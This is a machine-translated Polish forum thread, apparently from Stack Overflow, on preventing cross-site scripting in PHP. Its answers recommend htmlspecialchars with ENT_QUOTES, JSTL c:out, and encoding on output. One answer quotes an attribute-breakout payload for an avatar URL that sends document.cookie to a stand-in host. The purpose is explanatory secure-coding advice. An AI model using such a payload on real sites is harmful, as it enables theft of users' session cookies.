2010-01-22 12 views

Odpowiedz

16

To zależy w dużej mierze od kontekstu.

Sprawdź ten przykład z typowym miejscu forum ...

Możesz Hotlink swój awatar. Wprowadź pełny adres URL.

Złośliwy użytkownik wpisze w polu wejściowym

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Nie ma kodowanie nie mniej niż i powyżej, ale wciąż wielka dziura bezpieczeństwa.

Z pomocą htmlspecialchars(), dobrze jest zrobić (lub użyć) funkcję owijki, która rzuca na ciąg, zapewnia łatwiejszy sposób wyłączenia podwójnego kodowania (jeśli to konieczne) i zapewnienia, że ​​używa poprawnego zestaw znaków twojej aplikacji. Kohana ma numer great example.

+0

Witam, dziękuję wszystkim za odpowiedzi, poprosiłem o to, ponieważ myślę, że wejście wszystkich bohaterów zajmuje więcej miejsca w bazie danych. dzięki – Ryan

+10

Nie zakodowałbym wchodzenia do bazy danych, ale kodowania wychodzi. Dobrym pomysłem jest przechowywanie danych użytkownika "tak jak jest" i zapewnienie mechanizmu zapewniającego bezpieczeństwo podczas wyświetlania. – alex

+0

Całkowicie zgadzam się z podejściem keep-it-raw-until-it-hits-the-page, jednak zdecydowanie odradzam "wyłączanie podwójnego cytowania", ponieważ spowoduje to zniekształcenie łańcuchów. Na przykład, jeśli chcę powiedzieć "&" we wpisie mówiącym o takim kodzie HTML, opcja nie uda się uciec do '& amp;' w źródle i w konsekwencji pojawi się jako '&' na ekranie , dzięki czemu wyglądam jak idiota. Kodowanie to proces, a nie stan. – bobince

6

Należy również wziąć doublequotes ", singlequotes ' i ampersandy & pod uwagę. Jeśli robisz to wszystko podczas wyświetlania/generowania danych wyjściowych, to tak, wystarczy.

Trzeba tylko zapewnić, że robisz to dla dowolnym wejściowych użytkownika kontrolowanych parametrów, takich jak żądanie, żądanie URL, nagłówki życzenie i danych wprowadzonych przez użytkownika, który jest sterowany przechowywanych w magazynie danych.

W PHP można to zrobić za pomocą htmlspecialchars(), a w JSP cou można to zrobić za pomocą JSTL <c:out>.

+2

Uwaga ' htmlspecialchars' domyślnie ucieka tylko podwójną treść, a nie singiel. Ale zwykle jest to w porządku, ponieważ rzadko używa się pojedynczego cudzysłowu jako ogranicznika atrybutu. Użyj 'ENT_QUOTES', aby upewnić się, że uzyskasz oba. – bobince

Powiązane problemy